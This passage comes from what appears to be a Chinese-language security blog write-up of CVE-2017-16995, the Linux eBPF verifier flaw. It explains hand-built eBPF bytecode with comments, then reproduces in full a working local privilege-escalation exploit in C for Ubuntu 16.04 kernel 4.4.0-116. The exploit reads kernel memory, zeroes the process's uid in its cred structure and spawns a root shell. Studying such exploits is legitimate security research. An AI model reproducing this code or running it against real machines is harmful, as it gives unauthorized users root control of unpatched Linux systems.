33. "\xbf\xa2\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
34. "\x07\x02\x00\x00\xfc\xff\xff\xff" /*BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
35. "\x62\x0a\xfc\xff\x02\x00\x00\x00" /*BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=2), /* *(u32 *)(fp - 4) = 2 */
36. "\x85\x00\x00\x00\x01\x00\x00\x00" //BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
37. "\x55\x00\x01\x00\x00\x00\x00\x00" /*BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
38. "\x95\x00\x00\x00\x00\x00\x00\x00" /*BPF_EXIT_INSN(), /* exit(0); */
39. "\x79\x08\x00\x00\x00\x00\x00\x00" /*BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
----------------------------------------------part 6 ----------------------------------------------
1. "\xbf\x02\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 此时r2和r0都指向map中key=2的元素 */
2. "\xb7\x00\x00\x00\x00\x00\x00\x00" /*BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
3. "\x55\x06\x03\x00\x00\x00\x00\x00" /*BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */
4. "\x79\x73\x00\x00\x00\x00\x00\x00" //BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), 读取BPF_REG_7地址的内容放到BPF_REG_3
5. "\x7b\x32\x00\x00\x00\x00\x00\x00" //BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),将BPF_REG_3的内容放入到BPF_REG_2
6. "\x95\x00\x00\x00\x00\x00\x00\x00" //BPF_EXIT_INSN(),
7. "\x55\x06\x02\x00\x01\x00\x00\x00" //BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 2), if(op != 1 )JMP insn+2
8. "\x7b\xa2\x00\x00\x00\x00\x00\x00" //BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), when op == 1 将rbp寄存器的值即fp指针放到BPF_REG_2
9. "\x95\x00\x00\x00\x00\x00\x00\x00" //BPF_EXIT_INSN(), /* exit(0); */
10. "\x7b\x87\x00\x00\x00\x00\x00\x00" //BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), when op == 2 往BPF_REG_7的地址写入BPF_REG_8
11. "\x95\x00\x00\x00\x00\x00\x00\x00" //BPF_EXIT_INSN(),

综上,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x9b8 // 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328 //-32

int sockets[2];
int mapfd, progfd;

char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};

attr.kern_version = kern_version;

bpf_log_buf[0] = 0;

return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries};

return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};

return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};

return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err)
{
fprintf(stderr, "error: %s\n", err);
exit(-1);
}

static void prep(void)
{
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
puts("mapfd finished");
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

if (progfd < 0)
__exit(strerror(errno));
puts("bpf_prog_load finished");
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
puts("socketpair finished");
if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
puts("setsockopt finished");
}

static void writemsg(void)
{
char buffer[64];

ssize_t n = write(sockets[0], buffer, sizeof(buffer));

if (n < 0)
{
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();

static uint64_t get_value(int key)
{
uint64_t value;

if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));

return value;
}

static uint64_t __get_fp(void)
{
__update_elem(1, 0, 0);

return get_value(2);
}

static uint64_t __read(uint64_t addr)
{
__update_elem(0, addr, 0);

return get_value(2);
}

static void __write(uint64_t addr, uint64_t val)
{
__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr)
{
return addr & ~(0x4000 - 1);
}

static void pwn(void)
{
uint64_t fp, sp, task_struct, credptr, uidptr;

fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");

sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");

task_struct = __read(sp);

if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");

printf("task_struct = %lx\n", task_struct);

credptr = __read(task_struct + CRED_OFFSET); // cred

if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");

uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");

printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0)
{
printf("spawning root shell\n");
system("id");
system("/bin/sh");
exit(0);
}

__exit("not vulnerable?");
}

int main(int argc, char **argv)
{
prep();
pwn();

return 0;
}

image-20221010170323134

这里exp我是直接用的原文的exp,因为理解漏洞之后操作起来就比较简单了,主要麻烦的就是构造eBPF指令


题目放在:https://github.com/196082/196082

参考文章:http://p4nda.top/2019/01/18/CVE-2017-16995/#do-check

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 347.8k 访客数 访问量